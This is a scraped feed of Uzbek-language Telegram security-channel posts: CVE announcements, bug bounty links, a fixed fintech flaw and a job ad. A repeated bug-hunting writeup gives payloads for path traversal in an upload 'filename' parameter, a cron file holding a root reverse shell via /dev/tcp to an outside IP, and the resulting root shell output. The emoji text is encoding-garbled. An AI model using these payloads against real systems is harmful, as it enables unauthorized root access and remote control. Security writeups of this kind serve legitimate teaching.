Forwarded from SecList for CyberStudents
Forwarded from kamoloff.log
Please open Telegram to view this post
VIEW IN TELEGRAM
Next CVEs
๐น CVE-2026-72607
๐น CVE-2026-72608
๐น CVE-2026-72609
๐น CVE-2026-72610
CNA sifatida yordam bergan @CNA_Uzbekistan va Jamshidga rahmat
๐น CVE-2026-72607
๐น CVE-2026-72608
๐น CVE-2026-72609
๐น CVE-2026-72610
CNA sifatida yordam bergan @CNA_Uzbekistan va Jamshidga rahmat
๐ฅ2
Sploitus Agency
401 unauthorized lekin swagger kevoti ๐
๐4๐คฃ3
Forwarded from JavaSec
Node.js. Webshell befoyda. Lekin...๐
Path traversal orqali RCE olish haqida eshitganmisiz?
Bug hunting vaqtida unauth upload function topib oldim. Birinchi narsa โ stack tekshirdim. Node.js. Demak webshell yuklashni deyarli foydasi yo'q, ko'pchilik shu yerda to'xaydi va keyingisiga o'tadi. Lekin men
Odatda bu parametr serverda fayl nomini belgilaydi. Sanitize qilinmagan bo'lsa โ path traversal. Tekshirdim:
Server 200 OK javob qaytardi. Xato yo'q.
Endi asosiy savol โ process qaysi user bilan ishlayapti? Agar
file body'ga esa:
Server 200 OK. Yuklandi. Endi faqat cron daemon ishlayaptimi degan savol qoldi โ va u ishlayotgandi.
Netcat'ni yoqib 60 soniya kutdim.
CVE kerak emas. 0day kerak emas. Webshell ham kerak emas.
Faqat sanitize qilinmagan bitta parametr va root sifatida ishlaydigan bitta process.Asosiy muammo kod ichida emas โ uni kim yozganida edi. ๐
๐ฑ Linkedin ๐ฑ Webโ๏ธ
Path traversal orqali RCE olish haqida eshitganmisiz?
Bug hunting vaqtida unauth upload function topib oldim. Birinchi narsa โ stack tekshirdim. Node.js. Demak webshell yuklashni deyarli foydasi yo'q, ko'pchilik shu yerda to'xaydi va keyingisiga o'tadi. Lekin men
filename parametriga e'tibor berdim.Odatda bu parametr serverda fayl nomini belgilaydi. Sanitize qilinmagan bo'lsa โ path traversal. Tekshirdim:
filename=../../../../../../etc/passwdServer 200 OK javob qaytardi. Xato yo'q.
Endi asosiy savol โ process qaysi user bilan ishlayapti? Agar
www-data bo'lsa /etc ga yoza olmayman. Root bo'lsa โ boshqa gap.filename=../../../../../../etc/cron.d/backdoorfile body'ga esa:
* * * * * root bash -i >& /dev/tcp/x.x.x.x/4444 0>&1Server 200 OK. Yuklandi. Endi faqat cron daemon ishlayaptimi degan savol qoldi โ va u ishlayotgandi.
Netcat'ni yoqib 60 soniya kutdim.
connect to [attacker] from [target]
uid=0(root) gid=0(root) groups=0(root)
CVE kerak emas. 0day kerak emas. Webshell ham kerak emas.
Faqat sanitize qilinmagan bitta parametr va root sifatida ishlaydigan bitta process.
Please open Telegram to view this post
VIEW IN TELEGRAM
โก4
Forwarded from SecList for CyberStudents
$150,000 Apple Bug Bounty ๐
[CVE-2026-20685] Beyond Prompt Injection: Hacking Apple's Private Cloud Compute ๐คฏ๐ฅ
๐ https://blog.sentry.security/beyond-prompt-injection-hacking-apples-private-cloud-compute/
๐ https://nvd.nist.gov/vuln/detail/CVE-2026-20685
[CVE-2026-20685] Beyond Prompt Injection: Hacking Apple's Private Cloud Compute ๐คฏ๐ฅ
๐ https://blog.sentry.security/beyond-prompt-injection-hacking-apples-private-cloud-compute/
๐ https://nvd.nist.gov/vuln/detail/CVE-2026-20685
๐ฅ8
aYub Cyber
Huddi shu logika bazi katta bank dasturlari, fintech applarda ham ishlaydi. Balki siz hozir ham ishlatayotgan bo'lishingiz mumkin.
**** ilovasida yangi qurulmadan kirilganda - passport malumotlardan kiritmasdan barcha amaliyotlarni bajarish imkoniyatini berar edi (fix qilingan). Bu hakerga sizning akkauntingizga yangi qurulmadan buzib kirganda moliyaviy amaliyotlar bajarish imkonini beradi!
**** ilovasida yangi qurulmadan kirilganda - passport malumotlardan kiritmasdan barcha amaliyotlarni bajarish imkoniyatini berar edi (fix qilingan). Bu hakerga sizning akkauntingizga yangi qurulmadan buzib kirganda moliyaviy amaliyotlar bajarish imkonini beradi!
๐ฅ3๐2
Iโm looking for a ๐๐ผ-๐๐ผ๐๐ป๐ฑ๐ฒ๐ฟ / ๐๐๐๐ถ๐ป๐ฒ๐๐ ๐ฃ๐ฎ๐ฟ๐๐ป๐ฒ๐ฟ for ๐ฆ๐ฎ๐ป๐ฆ๐ฒ๐ฐ.๐๐
https://www.linkedin.com/posts/sanjar-tulkinov-a7934a353_cybersecurity-cofounder-startup-activity-7494780149121564672-uKTy?utm_source=share&utm_medium=member_desktop&rcm=ACoAAFgmYX0BcBnPy5VO-w-p3NkcOSefr-lRQYE
https://www.linkedin.com/posts/sanjar-tulkinov-a7934a353_cybersecurity-cofounder-startup-activity-7494780149121564672-uKTy?utm_source=share&utm_medium=member_desktop&rcm=ACoAAFgmYX0BcBnPy5VO-w-p3NkcOSefr-lRQYE
LinkedIn
#cybersecurity #cofounder #startup #bugbounty #informationsecurity #uzbekistan #centralasia | Sanjar Tulkinov
Iโm looking for a ๐๐ผ-๐๐ผ๐๐ป๐ฑ๐ฒ๐ฟ / ๐๐๐๐ถ๐ป๐ฒ๐๐ ๐ฃ๐ฎ๐ฟ๐๐ป๐ฒ๐ฟ for ๐ฆ๐ฎ๐ป๐ฆ๐ฒ๐ฐ.๐๐
Iโm looking for someone who wants to build the business with me, not simply take a position.
Before applying, I expect you to seriously study SanSec.
Understand the product, how it works, whatโฆ
Iโm looking for someone who wants to build the business with me, not simply take a position.
Before applying, I expect you to seriously study SanSec.
Understand the product, how it works, whatโฆ